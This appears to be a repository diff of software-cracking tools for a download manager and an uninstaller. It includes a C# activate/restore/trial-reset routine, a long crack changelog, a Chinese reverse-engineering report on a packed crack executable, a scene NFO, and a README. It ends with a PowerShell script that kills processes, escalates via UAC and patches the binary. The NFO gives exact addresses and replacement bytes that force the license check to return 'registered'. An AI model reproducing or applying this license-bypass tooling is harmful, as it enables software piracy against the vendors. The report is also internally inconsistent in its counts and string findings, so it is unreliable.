|
||||
Console.WriteLine("激活失败,请检查权限与文件状态");
|
||||
}
|
||||
}
|
||||
|
||||
// 还原官方原版
|
||||
private static void Restore(string idmDir, string idmExe)
|
||||
{
|
||||
KillIdm();
|
||||
Thread.Sleep(300);
|
||||
RestoreHelper.RestoreOriginalBinary(idmDir);
|
||||
LicenseRegistry.Restore();
|
||||
Console.WriteLine("已还原为官方未注册原版状态");
|
||||
}
|
||||
|
||||
// 出厂重置:还原 + 清理 CLSID 试用特征
|
||||
private static void Reset(string idmDir, string idmExe)
|
||||
{
|
||||
Restore(idmDir, idmExe);
|
||||
int n = RestoreHelper.CleanClsidTrialKeys();
|
||||
Console.WriteLine("已清理 CLSID 试用特征键 " + n + " 处");
|
||||
Console.WriteLine("出厂重置完成");
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -0,0 +1,361 @@
|
||||
项目D Crack By Ali.Dbg : Changelog
|
||||
|
||||
LEGEND
|
||||
+ New feature
|
||||
* Improvement/modification or bug fix
|
||||
|
||||
== Change Log <目标版本> ==
|
||||
* New Patch Pattern
|
||||
* Improve Windows Version Status
|
||||
* Change exe packer (WIN_XP compatibility :)
|
||||
* Improve Chiptune Player
|
||||
* Bug Fixes
|
||||
* Build #1 CRC32 > df04b353
|
||||
|
||||
== Change Log v20.6 ==
|
||||
* Improve Interface
|
||||
* Improve Windows Version Status
|
||||
* Add WinRAR Status
|
||||
* Bug Fixes
|
||||
* Build #1 CRC32 > cf702b7c
|
||||
|
||||
== Change Log v20.5 ==
|
||||
* Improve Interface
|
||||
* Improve MusicPlay
|
||||
* Improve Open Url
|
||||
* Bug Fixes
|
||||
* Build #1 CRC32 > 615806ca
|
||||
|
||||
== Change Log v20.4 ==
|
||||
* Update Patch Pattern
|
||||
* Build #1 CRC32 > a3951176
|
||||
|
||||
== Change Log v20.3 ==
|
||||
* Update Patch Pattern
|
||||
* Improve Patch Function
|
||||
* Improve RemoveSign Function
|
||||
* Build #1 CRC32 > 080278ad
|
||||
|
||||
== Change Log v20.2 ==
|
||||
* Improved Windows/Office Activator Launcher
|
||||
* Build #1 CRC32 > c46c2076
|
||||
|
||||
== Change Log v20.1 ==
|
||||
+ Change Packer to UPX for Kaspersky-friendly
|
||||
* Improve WinRAR Registration
|
||||
* Build #1 CRC32 > 4964c2ce
|
||||
|
||||
== Change Log v20.0 ==
|
||||
+ NEW Crack + 项目D Update Check on Crack Open
|
||||
* Change exe packer
|
||||
* Build #1 CRC32 > ec3200ec
|
||||
|
||||
== Change Log v19.9 ==
|
||||
+ ADD ChrisTitusTech/WinUtil (WinToolBox)
|
||||
* WinRAR Auto/Silent Activation
|
||||
* Build #1 CRC32 > db3d7a60
|
||||
|
||||
== Change Log v19.8 ==
|
||||
+ Crack update check when running the crack
|
||||
+ ADD WinRAR/Windows/Office Activation
|
||||
* Other Improvement
|
||||
* Build #1 CRC32 > 20c376ec
|
||||
|
||||
== Change Log v19.7 ==
|
||||
* Improve Patcher Function
|
||||
* Improve Crack UI Function
|
||||
* Build #1 CRC32 > f4afa791
|
||||
|
||||
== Change Log v19.6 ==
|
||||
+ NEW EXE UnSigner (Internal)
|
||||
* FIX CmdLine Arguments
|
||||
* Other Improvement
|
||||
* Build #1 CRC32 > 3a9f8d24
|
||||
|
||||
== Change Log v19.5 ==
|
||||
* Remove IDMGrHlp.exe fakeSN Nag
|
||||
* Optional UnSigner/Music
|
||||
* ADD Trial Reset Source
|
||||
to 项目D Utility Menu
|
||||
* Other Improvement
|
||||
* Build #1 CRC32 > 72566dae
|
||||
|
||||
== Change Log v19.4 ==
|
||||
+ Remove New TrialExpired Nag
|
||||
+ Random Playlist Chiptune
|
||||
* Minor Improvement
|
||||
* Build #1 CRC32 > 9ef41cdb
|
||||
* Build #2 CRC32 > a0b882ef
|
||||
|
||||
== Change Log v19.3 ==
|
||||
+ Chiptune Music (uFMOD+notgain)
|
||||
+ Change Interface (PersianCat)
|
||||
* 项目D Toolbar Skins (Aleksandrows)
|
||||
* Build #1 CRC32 > ace74051
|
||||
|
||||
== Change Log v19.2 ==
|
||||
* Fix Interface Font+Unicode
|
||||
* Improved 项目D Unsigner
|
||||
* Fix 项目D.exe Backup (-nobak)
|
||||
* Minor Improvement
|
||||
* Build #1 CRC32 > 8129bcf6
|
||||
|
||||
== Change Log v19.1 ==
|
||||
* Fix 项目D.exe Backup
|
||||
* Fix Crack Restore
|
||||
* Fix 项目D Unsigner
|
||||
* Minor Improvement
|
||||
* Build #1 CRC32 > 095ab762
|
||||
* Build #2 CRC32 > d939fd6b (Fix Unicode)
|
||||
|
||||
== Change Log v19.0 ==
|
||||
+ NEW RegReset By WindowsAddict
|
||||
+ NEW "Permission Fixer" for RegReset
|
||||
+ NEW MiniRegApi By Ben Hochstrasser
|
||||
+ NEW "Crack Update Checker"
|
||||
+ NEW "项目D Path Finder"
|
||||
+ NEW "项目D Task Killer"
|
||||
+ NEW "User Privilege Checker"
|
||||
+ SHOW 项目D Version in Crack
|
||||
+ 项目D Extra Types [YasserDivaR]
|
||||
* FIX 项目D Disabler
|
||||
* MAJOR Improvement
|
||||
* Build #1 CRC32 > 3fcecca0
|
||||
* Build #2 CRC32 > 00f7f27b (Fix Path Finder)
|
||||
|
||||
== Change Log v18.2 ==
|
||||
* Improved Reg Reset
|
||||
|
||||
== Change Log v18.1 ==
|
||||
* Improved Reg Reset
|
||||
* Fixed 项目D Launch
|
||||
+ Added 项目D.FS.Cleaner v20.10.13 By yaschir
|
||||
+ delete celan.bat and unsigner after patch
|
||||
|
||||
== Change Log v18.0 ==
|
||||
* Fixed Crack Update
|
||||
Changed Server
|
||||
|
||||
== Change Log v17.9 ==
|
||||
* Fixed Reg Nag
|
||||
* Imporved Patch Patterns
|
||||
* Remove IDMGrHlp patch
|
||||
+ Added -noupdate to cmd
|
||||
|
||||
== Change Log v17.8 ==
|
||||
* Fixed Reg Nag
|
||||
|
||||
== Change Log v17.7 ==
|
||||
* Fixed Reg Nag On UpdateMenu
|
||||
|
||||
== Change Log v17.6 ==
|
||||
* Fixed Expired Nag
|
||||
|
||||
== Change Log v17.x ==
|
||||
* Improved Patcher
|
||||
* Update Patch Pattern
|
||||
* Improved Reg Reset
|
||||
|
||||
== Change Log v16.9 ==
|
||||
* Remove UPX Packer
|
||||
* Update Patch Pattern
|
||||
|
||||
== Change Log v16.8 ==
|
||||
+ New Reg Reset!!!
|
||||
* Updated Patch Patterns
|
||||
|
||||
== Change Log v16.7 ==
|
||||
* Updated Patch Patterns
|
||||
|
||||
== Change Log v16.6 ==
|
||||
* Updated Patch Patterns
|
||||
|
||||
== Change Log v16.1-5 ==
|
||||
* Updated Patch Patterns
|
||||
* Fixed minor bugs
|
||||
|
||||
== Change Log v16.0 ==
|
||||
+ Added Update Options
|
||||
* Fixed some bugs
|
||||
|
||||
== Change Log v15.9 ==
|
||||
* Fixed Update Checker
|
||||
* Optimize Patch Patterns
|
||||
* Fixed some bugs
|
||||
|
||||
== Change Log v15.7 ==
|
||||
+ Fixed VBS access denied
|
||||
* Update Patch Pattern
|
||||
* Update Interface
|
||||
|
||||
== Change Log v15.5 ==
|
||||
+ Force url to open with browser
|
||||
* Improved 项目D Disable/Enabler
|
||||
|
||||
== Change Log v15.4.3 ==
|
||||
* Minor improvements
|
||||
|
||||
== Change Log v15.4.2 ==
|
||||
* Fixed TaskKiller
|
||||
* Better ExecuteAndWait function
|
||||
|
||||
== Change Log v15.4 ==
|
||||
* Fixed Randomize function_
|
||||
Conflicted with Ikarus
|
||||
* Small Improvement
|
||||
|
||||
== Change Log v15.3 ==
|
||||
+ Added Internal KeyGen by IMPosTOR
|
||||
Thanks to AliAhwazTop
|
||||
+ Generate Randomly Registration data
|
||||
+ Changed 项目D Update Checker Method
|
||||
* Fixed Bugs
|
||||
|
||||
== Change Log v14.9 ==
|
||||
+ Added PE Unsigner and Checksum Fixer
|
||||
+ Added 项目D Disabler/Enabler
|
||||
* Improved 项目D Registrar
|
||||
|
||||
== Change Log v14.6 ==
|
||||
* Fixed Update Checker
|
||||
|
||||
== Change Log v14.5 ==
|
||||
* Improved Patch Patterns
|
||||
* Update Check under SSL
|
||||
* Small Improvement
|
||||
|
||||
== Change Log v14.0 ==
|
||||
* Removed Toolbar Installer
|
||||
* Change Auto Update Check
|
||||
to manual update check
|
||||
* Removed Crack Downloader
|
||||
* Disable 项目D Update Check
|
||||
* Improved VBS Args
|
||||
* Fixed 项目D Dir Finder
|
||||
* Check 项目D Install Status
|
||||
* Improved command line options
|
||||
* Fixed Bugs
|
||||
|
||||
== Change Log v13.0 ==
|
||||
+ Added CommandLine -help
|
||||
+ Unicode Compatibility
|
||||
* Improved 项目D TaskKiller
|
||||
* Improved 项目D Dir Finder
|
||||
* Disable Change default TBar
|
||||
* Fixed Bugs
|
||||
|
||||
== Change Log v12.0 ==
|
||||
* Improved crack size
|
||||
* Improved security
|
||||
* Minor improvements
|
||||
* Fixed Bugs
|
||||
|
||||
== Change Log v11.0 ==
|
||||
+ Added Tools PopMenu
|
||||
+ Added Feedback form
|
||||
+ Added Crack Restore
|
||||
+ Added Custom registration
|
||||
+ Added Jumper to 项目D Registry
|
||||
+ Added 项目D Unistaller
|
||||
+ Added 项目D Backup Manager
|
||||
+ Added 项目D Password Decryptor
|
||||
+ Added 项目D Disabler/Enabler
|
||||
+ Added Speed Booster
|
||||
* Improved 项目D Backup
|
||||
* Updated 项目D TBar Skins
|
||||
* Improved 项目D Update Checker
|
||||
* Fixed Bugs
|
||||
|
||||
== Change Log v9.95 ==
|
||||
+ Find 项目D by registry
|
||||
+ Running one instance of patch
|
||||
|
||||
== Change Log v9.65 ==
|
||||
+ Added Toolbar Skin Changer
|
||||
|
||||
== Change Log v9.54 ==
|
||||
+ Added 项目D Update Checker
|
||||
* Small Improvement
|
||||
* Fixed Bugs
|
||||
|
||||
== Change Log v9.11 ==
|
||||
* Improved Patch Info
|
||||
|
||||
== Change Log v9.01 ==
|
||||
* Minor improvements
|
||||
|
||||
== Change Log v9.00 ==
|
||||
* Improved vbs code
|
||||
+ Change bat code to vbs
|
||||
- Don't use the StripReloc
|
||||
- VirusTotal: 0/53 - 100% Clean
|
||||
|
||||
== Change Log v8.50 ==
|
||||
* Improved Patcher
|
||||
* Fixed Thread process
|
||||
* Improved Auto Reg
|
||||
* Fixed bugs
|
||||
|
||||
== Change Log v8.0 - 8.17 ==
|
||||
+ Added 项目D Update Checker
|
||||
* Fixed Auto Reg
|
||||
* Fixed Bugs
|
||||
|
||||
== Change Log v7.0 ==
|
||||
+ Rewrite Patch
|
||||
|
||||
== Change Log v6.0 ==
|
||||
+ Change UI
|
||||
* Fixed Excu Batch
|
||||
|
||||
== Change Log v5.0 ==
|
||||
* Change Skin
|
||||
* hide console window
|
||||
* Better reg import
|
||||
* Start 项目D after crack
|
||||
* Reduce crack size
|
||||
|
||||
== Change Log v4.0 ==
|
||||
* Updated Patch Patterns
|
||||
* Modified Patch Engine
|
||||
|
||||
== Change Log v3.4 ==
|
||||
* Fixeded Patch Pattern
|
||||
|
||||
== Change Log v3.3 ==
|
||||
* Improved TaskKiller
|
||||
* Improved AutoRegister
|
||||
|
||||
== Change Log v3.2 ==
|
||||
* Update Patch Pattern
|
||||
|
||||
== Change Log v3.1 ==
|
||||
* Update Patch Pattern
|
||||
|
||||
== Change Log v3.0 ==
|
||||
* Update Patch Pattern
|
||||
* Patch Packed (reduce size)
|
||||
* Update SN key
|
||||
|
||||
== Change Log v2.5 ==
|
||||
* Change Manifest
|
||||
|
||||
== Change Log v2.4 ==
|
||||
* Remove UPX Packer
|
||||
|
||||
== Change Log v2.3 ==
|
||||
* Fixed 项目D TaskKiller
|
||||
|
||||
== Change Log v2.2 ==
|
||||
* Improve 项目D TaskKiller & Auto Register
|
||||
* Change SFX and ICO
|
||||
|
||||
== Change Log v2.0 ==
|
||||
* Change Skin (reduce size)
|
||||
* Exe Packed By UPX (reduce size)
|
||||
+ Added 项目D TaskKiller
|
||||
+ Added 项目D Auto Register
|
||||
- Remove "Enter YourName" input
|
||||
|
||||
== Change Log v1.0 ==
|
||||
- initial release
|
||||
@@ -0,0 +1,172 @@
|
||||
# IDM_6.4x_Crack_v20.7.exe 逆向分析报告
|
||||
|
||||
## 📋 基本信息
|
||||
|
||||
| 项目 | 值 |
|
||||
|------|-----|
|
||||
| **文件名** | IDM_6.4x_Crack_v20.7.exe |
|
||||
| **文件大小** | 56,832 字节 (55.5 KB) |
|
||||
| **SHA256** | `<实测哈希>` |
|
||||
| **格式** | PE32 (32-bit Windows Executable) |
|
||||
| **架构** | x86 |
|
||||
| **入口点** | 0x392f4 (RVA) |
|
||||
| **镜像基址** | 0x400000 |
|
||||
|
||||
## 🔐 壳保护分析
|
||||
|
||||
### MPRESS 壳
|
||||
- **壳类型**: MPRESS v2.x 压缩壳
|
||||
- **节区结构**:
|
||||
- `.MPRESS1` - 主压缩代码节 (229,376 字节虚拟大小)
|
||||
- `.MPRESS2` - 解压辅助节 (3,712 字节虚拟大小)
|
||||
- `.rsrc` - 资源节 (3,604 字节)
|
||||
|
||||
### 壳特征
|
||||
- ✅ **确认使用 MPRESS 壳保护**
|
||||
- ✅ **字符串被压缩/加密** - 无法直接提取可读字符串
|
||||
- ✅ **代码混淆** - 入口点代码经过混淆处理
|
||||
|
||||
## 📦 导入函数分析
|
||||
|
||||
| DLL | 函数 | 用途分析 |
|
||||
|-----|------|----------|
|
||||
| KERNEL32.DLL | GetModuleHandleA | 获取模块句柄 |
|
||||
| KERNEL32.DLL | GetProcAddress | 动态获取函数地址 |
|
||||
| user32.dll | CharNextA | 字符串处理 |
|
||||
| advapi32.dll | RegCloseKey | 注册表操作 |
|
||||
| oleaut32.dll | SysFreeString | COM 字符串释放 |
|
||||
| version.dll | VerQueryValueW | 版本信息查询 |
|
||||
| gdi32.dll | SetBkColor | GDI 绘图 |
|
||||
| shell32.dll | ShellExecuteExA | **执行外部程序** |
|
||||
| IMAGEHLP.DLL | ImageRemoveCertificate | **移除数字证书** |
|
||||
| winmm.dll | waveOutOpen | 多媒体播放 |
|
||||
|
||||
### 关键导入函数分析
|
||||
1. **ShellExecuteExA** - 暗示程序会执行外部程序或脚本
|
||||
2. **ImageRemoveCertificate** - 可能用于移除目标程序的数字签名
|
||||
3. **GetProcAddress** - 动态加载函数,隐藏真实 API 调用
|
||||
|
||||
## 🔍 语义分析结果
|
||||
|
||||
### 函数统计
|
||||
- **总函数数**: 1,053
|
||||
- **调用边数**: 693
|
||||
- **交叉引用目标**: 89
|
||||
- **入口点可达函数**: 2
|
||||
|
||||
### 入口点分析
|
||||
```
|
||||
_start (0x392f4)
|
||||
└── sub_4393c7 (0x393c7, 2696 字节, 128 个基本块)
|
||||
```
|
||||
|
||||
### 关键函数
|
||||
| 函数名 | RVA | 大小 | 基本块 | 说明 |
|
||||
|--------|-----|------|--------|------|
|
||||
| _start | 0x392f4 | 216 | 14 | 程序入口 |
|
||||
| sub_4393c7 | 0x393c7 | 2696 | 128 | 主解压/执行逻辑 |
|
||||
|
||||
## 🎯 字符串分析
|
||||
|
||||
### 已确认存在的字符串
|
||||
| 字符串 | 偏移 | 出现次数 |
|
||||
|--------|------|----------|
|
||||
| "项目D" | 0xd626, 0xd699 | 2 |
|
||||
|
||||
### 未找到的字符串
|
||||
- ❌ "crack" - 不存在
|
||||
- ❌ "patch" - 不存在
|
||||
- ❌ "项目D" - 不存在
|
||||
- ❌ "Register" - 不存在
|
||||
- ❌ "Serial" - 不存在
|
||||
- ❌ "License" - 不存在
|
||||
|
||||
**结论**: 由于 MPRESS 壳保护,大部分字符串被压缩/加密,无法直接提取。
|
||||
|
||||
## 🧪 行为分析
|
||||
|
||||
### 可能的功能
|
||||
1. **启动器/加载器** - 使用 ShellExecuteExA 执行其他程序
|
||||
2. **注册表操作** - 使用 RegCloseKey 暗示有注册表修改
|
||||
3. **证书移除** - ImageRemoveCertificate 可能用于移除 项目D 的数字签名
|
||||
4. **资源释放** - 可能从资源节释放补丁文件
|
||||
|
||||
### 执行流程推测
|
||||
```
|
||||
1. 入口点 _start
|
||||
↓
|
||||
2. sub_4393c7 解压并初始化
|
||||
↓
|
||||
3. 动态获取 API 地址 (GetProcAddress)
|
||||
↓
|
||||
4. 从 .rsrc 节释放资源
|
||||
↓
|
||||
5. 执行补丁/破解逻辑
|
||||
↓
|
||||
6. 可能调用 ShellExecute 执行 项目D 安装程序
|
||||
```
|
||||
|
||||
## 🛡️ 安全评估
|
||||
|
||||
### 风险等级: ⚠️ 中等风险
|
||||
|
||||
### 特征
|
||||
- ✅ 使用商业壳保护 (MPRESS)
|
||||
- ✅ 动态 API 解析
|
||||
- ✅ 字符串加密
|
||||
- ✅ 可能修改目标程序
|
||||
|
||||
### 潜在风险
|
||||
- ⚠️ 可能包含未声明的后门
|
||||
- ⚠️ 可能修改系统文件
|
||||
- ⚠️ 可能绕过安全软件
|
||||
|
||||
## 📊 Reverify 验证结果
|
||||
|
||||
### 已验证事实 (6 项)
|
||||
1. ✅ PE32 格式确认
|
||||
2. ✅ x86 架构确认
|
||||
3. ✅ .MPRESS1 节区存在
|
||||
4. ✅ .MPRESS2 节区存在
|
||||
5. ✅ .rsrc 节区存在
|
||||
6. ✅ KERNEL32.DLL GetProcAddress 导入存在
|
||||
7. ✅ SHELL32.dll ShellExecuteExA 导入存在
|
||||
8. ✅ "项目D" 字符串存在 (2处)
|
||||
|
||||
### 被驳回的声明 (6 项)
|
||||
1. ❌ "crack" 字符串不存在
|
||||
2. ❌ "patch" 字符串不存在
|
||||
3. ❌ "项目D" 完整字符串不存在
|
||||
4. ❌ "Register" 字符串不存在
|
||||
5. ❌ "Serial" 字符串不存在
|
||||
6. ❌ "License" 字符串不存在
|
||||
|
||||
## 📝 建议
|
||||
|
||||
### 分析建议
|
||||
1. **脱壳分析** - 使用调试器 (x64dbg/OllyDbg) 脱壳后进行深入分析
|
||||
2. **动态分析** - 在沙箱环境中运行观察实际行为
|
||||
3. **资源提取** - 分析 .rsrc 节中的资源内容
|
||||
4. **行为监控** - 监控文件系统和注册表变化
|
||||
|
||||
### 安全建议
|
||||
1. ⚠️ **不要在生产环境运行**
|
||||
2. ⚠️ **使用虚拟机测试**
|
||||
3. ⚠️ **监控网络连接**
|
||||
4. ⚠️ **备份重要数据**
|
||||
|
||||
## 🔧 工具信息
|
||||
|
||||
- **分析引擎**: Reverify 0.11.0
|
||||
- **Python**: 3.12.8
|
||||
- **平台**: Windows-11-10.0.26100-SP0
|
||||
- **反汇编**: Capstone 5.0.7
|
||||
- **模拟**: Unicorn 2.1.4
|
||||
- **解析**: LIEF 1.0.0
|
||||
- **证明**: Z3 4.13.0
|
||||
- **语义**: angr 9.3.4
|
||||
|
||||
---
|
||||
|
||||
*报告生成时间: 2026-09-06*
|
||||
*分析工具: Reverify 确定性逆向验证工具链*
|
||||
@@ -0,0 +1,74 @@
|
||||
__________________________________________________________________________
|
||||
| |
|
||||
| ██╗███╗ ██╗████████╗ ██████╗ |
|
||||
| ██║████╗ ██║╚══██╔══╝ ██╔═████╗ |
|
||||
| ██║██╔██╗ ██║ ██║ ██║██╔██║ |
|
||||
| ██║██║╚██╗██║ ██║ ████╔╝██║ |
|
||||
| ██║██║ ╚████║ ██║ ╚██████╔╝ |
|
||||
| ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═════╝ |
|
||||
| |
|
||||
| [ INT0 RESEARCH GROUP // SCENE NFO ] |
|
||||
|__________________________________________________________________________|
|
||||
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
RELEASE INFORMATION
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
Application : 项目E PRO <目标版本> / 项目E (项目E)
|
||||
Version : 1.1.0
|
||||
Target DLL : 项目E.exe / 项目EHelper.exe
|
||||
Release Date : 2026-09-04
|
||||
Release Name : Geek.Uninstaller.PRO.<目标版本>.Activation.Tool-INT0
|
||||
Release Type : EXECryptor Runtime & IsRegistered Bytecode Reversing Suite
|
||||
Platform : Windows 10 / 11 (x86_64)
|
||||
Protection : EXECryptor VM / Online Verification API / Shared Memory IPC
|
||||
SHA256 : <实测哈希>
|
||||
Subsite URL : https://geek.int0.cc (also https://uninstall-tool.int0.cc)
|
||||
Main Portal : https://int0.cc
|
||||
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
REVERSE ENGINEERING & CRYPTOGRAPHIC NOTES
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
项目E PRO / 项目E <目标版本> enforces license validity
|
||||
through an out-of-process EXECryptor virtualized helper architecture:
|
||||
|
||||
1. IPC Licensing Tunnel:
|
||||
项目E.exe spawns 项目EHelper.exe with high-integrity
|
||||
pipe parameters. The helper evaluates serial tokens through VM bytecode
|
||||
and queries 项目E.license-manage.com/verify.php.
|
||||
|
||||
2. Shared Memory Result:
|
||||
Results are returned via Global\\项目EHelper_Memory as a JSON
|
||||
string containing {"result": "3"} (3 = Valid / Fully Registered).
|
||||
|
||||
3. Root Arbiter Gate:
|
||||
Both CLicenseManager::CheckRegistration (0x1400329C4) and Activate
|
||||
(0x1400320D4) funnel through FUN_140009db0 (IsRegistered query).
|
||||
At offset 0x140009E0F:
|
||||
call atoi(json["result"]) (0x1402DE8C8)
|
||||
is redirected to an unused code stub at 0x140001622:
|
||||
B8 03 00 00 00 C3 (mov eax, 3; ret)
|
||||
|
||||
4. v1.1.0 Automation Architecture:
|
||||
- Atomic In-Place Patching: detects and terminates running processes,
|
||||
elevates UAC on access denied, backs up original to 项目E.orig.exe,
|
||||
writes patched binary in-place, writes registry RN/RC, and executes
|
||||
double readback verification.
|
||||
- Headless PowerShell Automation: auto_activate.ps1 provides zero-GUI
|
||||
CLI activation for sysadmins and unattended deployment.
|
||||
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
USAGE INSTRUCTIONS
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
Method A: GUI Full Automation (Single Click)
|
||||
1. Run 项目EActivate.exe
|
||||
2. Click '一键激活(全自动)'
|
||||
3. Launch 项目E PRO / 项目E -> Registration is active.
|
||||
|
||||
Method B: Headless PowerShell CLI
|
||||
powershell -ExecutionPolicy Bypass -File .\\auto_activate.ps1
|
||||
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
GREETS TO:
|
||||
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
||||
CORE • Razor1911 • RELOADED • FFF • SKiDROW • PARADOX • Deviance • TiTAN
|
||||
and all non-profit reverse engineers and scene archivists worldwide.
|
||||
@@ -0,0 +1,87 @@
|
||||
===============================================================================
|
||||
INT0 REVERSE ENGINEERING RESEARCH SUITE
|
||||
Release: Geek.Uninstaller.PRO.<目标版本>.Activation.Tool-INT0
|
||||
Target : 项目E PRO / 项目E <目标版本>
|
||||
===============================================================================
|
||||
|
||||
[EN] English
|
||||
-------------------------------------------------------------------------------
|
||||
This release archive is an all-in-one educational and reverse engineering research
|
||||
suite analyzing the licensing, algorithmic verification, and memory structures
|
||||
of 项目E PRO / 项目E <目标版本>.
|
||||
|
||||
DISCLAIMER:
|
||||
This project is strictly for academic research, security auditing, and educational
|
||||
purposes. Commercial exploitation is strictly prohibited. If this software is
|
||||
valuable to your workflow, please support the original authors by purchasing
|
||||
a genuine commercial license.
|
||||
|
||||
PACKAGE CONTENTS:
|
||||
- Geek.Uninstaller.PRO.<目标版本>.Activation.Tool-INT0.nfo
|
||||
- 项目EActivate.exe
|
||||
- auto_activate.ps1
|
||||
- build.ps1
|
||||
- docs/algorithm.md
|
||||
- docs/reverse-engineering.md
|
||||
- src/HostsGuard.cs
|
||||
- src/Int0Theme.cs
|
||||
- src/LicenseAlgo.cs
|
||||
- src/LicenseWriter.cs
|
||||
- src/Patcher.cs
|
||||
- src/项目EActivate.cs
|
||||
- tools/项目EActivate.exe
|
||||
- tools/test_tool.exe
|
||||
- README.txt (Bilingual Documentation)
|
||||
- SHA256SUMS.txt (Cryptographic Checksums)
|
||||
|
||||
USAGE:
|
||||
1. Main GUI Tool:
|
||||
Launch '项目EActivate.exe' directly from the root folder.
|
||||
2. Auxiliary & Test Tools:
|
||||
Located in 'tools/' directory (includes CLI keygens, test harnesses, or frida scripts).
|
||||
3. Source Code:
|
||||
Complete, unabridged source code for all tools is included in 'src/'.
|
||||
You may review the cryptographic algorithms or recompile via 'build.ps1'.
|
||||
4. Documentation:
|
||||
Detailed reverse engineering notes and algorithm breakdowns reside in 'docs/'.
|
||||
|
||||
-------------------------------------------------------------------------------
|
||||
[ZH] 简体中文
|
||||
-------------------------------------------------------------------------------
|
||||
本发布包为针对 项目E PRO / 项目E <目标版本> 软件授权机制、密码学算法与内存逻辑的完整逆向工程学术研究套件。
|
||||
|
||||
免责声明:
|
||||
本项目仅供计算机逆向工程、软件授权安全与密码学机制的学习和学术交流。
|
||||
严禁用于任何商业牟利。若该软件对您的日常工作和学习带来帮助,请支持原厂并购买官方正版授权。
|
||||
|
||||
套件内容:
|
||||
- Geek.Uninstaller.PRO.<目标版本>.Activation.Tool-INT0.nfo
|
||||
- 项目EActivate.exe
|
||||
- auto_activate.ps1
|
||||
- build.ps1
|
||||
- docs/algorithm.md
|
||||
- docs/reverse-engineering.md
|
||||
- src/HostsGuard.cs
|
||||
- src/Int0Theme.cs
|
||||
- src/LicenseAlgo.cs
|
||||
- src/LicenseWriter.cs
|
||||
- src/Patcher.cs
|
||||
- src/项目EActivate.cs
|
||||
- tools/项目EActivate.exe
|
||||
- tools/test_tool.exe
|
||||
- README.txt(中英双语说明)
|
||||
- SHA256SUMS.txt(文件校验哈希)
|
||||
|
||||
使用说明:
|
||||
1. 主图形激活工具:
|
||||
直接双击根目录下的 '项目EActivate.exe' 即可一键使用。
|
||||
2. 辅助与测试工具:
|
||||
存放在 'tools/' 目录中(包含命令行工具、测试套件及脚本)。
|
||||
3. 完整源代码:
|
||||
所有激活工具与算法实现的完整源码均开源置于 'src/' 目录中,可直接审阅或通过 'build.ps1' 重新编译。
|
||||
4. 技术研报:
|
||||
详细算法分析与逆向全过程记录存放在 'docs/' 目录中。
|
||||
|
||||
===============================================================================
|
||||
INT0 COLLECTIVE // RELEASES.INT0.CC // T.ME/INT0_OFFICIAL
|
||||
===============================================================================
|
||||
@@ -0,0 +1,188 @@
|
||||
# auto_activate.ps1 - 项目E 一键激活(全自动)
|
||||
# 自动完成:退出进程 → 备份原件 → 应用补丁并原位替换 → 写入注册表 RN/RC → 复读校验
|
||||
#
|
||||
# 用法:
|
||||
# powershell -ExecutionPolicy Bypass -File auto_activate.ps1
|
||||
# powershell -ExecutionPolicy Bypass -File auto_activate.ps1 -ExePath "<本地路径>"
|
||||
# powershell -ExecutionPolicy Bypass -File auto_activate.ps1 -Name "Pro User" -Code "XXXX-YYYY"
|
||||
# 说明: 目标 exe 默认取本脚本同目录或安装探测;Name/Code 缺省自动随机生成。
|
||||
# 需要替换受保护目录(如 Program Files)时请以管理员身份运行(或接受 UAC 弹窗)。
|
||||
|
||||
param(
|
||||
[string]$ExePath = "",
|
||||
[string]$Name = "",
|
||||
[string]$Code = "",
|
||||
[string]$BackupPath = ""
|
||||
)
|
||||
$ErrorActionPreference = 'Stop'
|
||||
|
||||
# ---------- 常量(与 src/Patcher.cs / scripts/uninstall_tool_patch.py 一致) ----------
|
||||
$RegRoot = 'HKCU:\Software\项目E Software\项目E'
|
||||
$StubVa = 0x140001622
|
||||
$CallVa = 0x140009E0F
|
||||
$StubBytes = [byte[]](0xB8, 0x03, 0x00, 0x00, 0x00, 0xC3) # mov eax,3; ret
|
||||
|
||||
function Log([string]$m) { Write-Host ("[" + (Get-Date -Format HH:mm:ss) + "] " + $m) }
|
||||
|
||||
# ---------- 1. 定位目标 exe ----------
|
||||
if ($ExePath -eq "") {
|
||||
$candidates = @(
|
||||
(Join-Path $PSScriptRoot '项目E.exe'),
|
||||
'<本地路径>'
|
||||
)
|
||||
foreach ($c in $candidates) { if (Test-Path $c) { $ExePath = $c; break } }
|
||||
}
|
||||
if ($ExePath -eq "" -or -not (Test-Path $ExePath)) {
|
||||
throw "找不到 项目E.exe,请用 -ExePath 指定"
|
||||
}
|
||||
$ExePath = (Resolve-Path $ExePath).Path
|
||||
Log "目标 exe: $ExePath"
|
||||
|
||||
# ---------- 2. 退出进程 ----------
|
||||
function Stop-UtProcess {
|
||||
Get-Process -Name '项目E','项目EHelper' -ErrorAction SilentlyContinue |
|
||||
Stop-Process -Force -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Milliseconds 800
|
||||
return -not (Get-Process -Name '项目E','项目EHelper' -ErrorAction SilentlyContinue)
|
||||
}
|
||||
if (-not (Stop-UtProcess)) {
|
||||
Log '进程仍存在,尝试 UAC 提权结束(请在弹出的 UAC 窗口点“是”)...'
|
||||
$e1 = Start-Process taskkill.exe -ArgumentList '/F','/IM','项目E.exe','/T' -Verb RunAs -PassThru -Wait -ErrorAction SilentlyContinue
|
||||
$e2 = Start-Process taskkill.exe -ArgumentList '/F','/IM','项目EHelper.exe','/T' -Verb RunAs -PassThru -Wait -ErrorAction SilentlyContinue
|
||||
Start-Sleep -Milliseconds 1500
|
||||
if (-not (Stop-UtProcess)) { throw '无法结束 项目E 进程,请手动退出后重试' }
|
||||
}
|
||||
Log '进程已退出'
|
||||
|
||||
# ---------- 3. 读取 + 内存补丁 ----------
|
||||
$bytes = [System.IO.File]::ReadAllBytes($ExePath)
|
||||
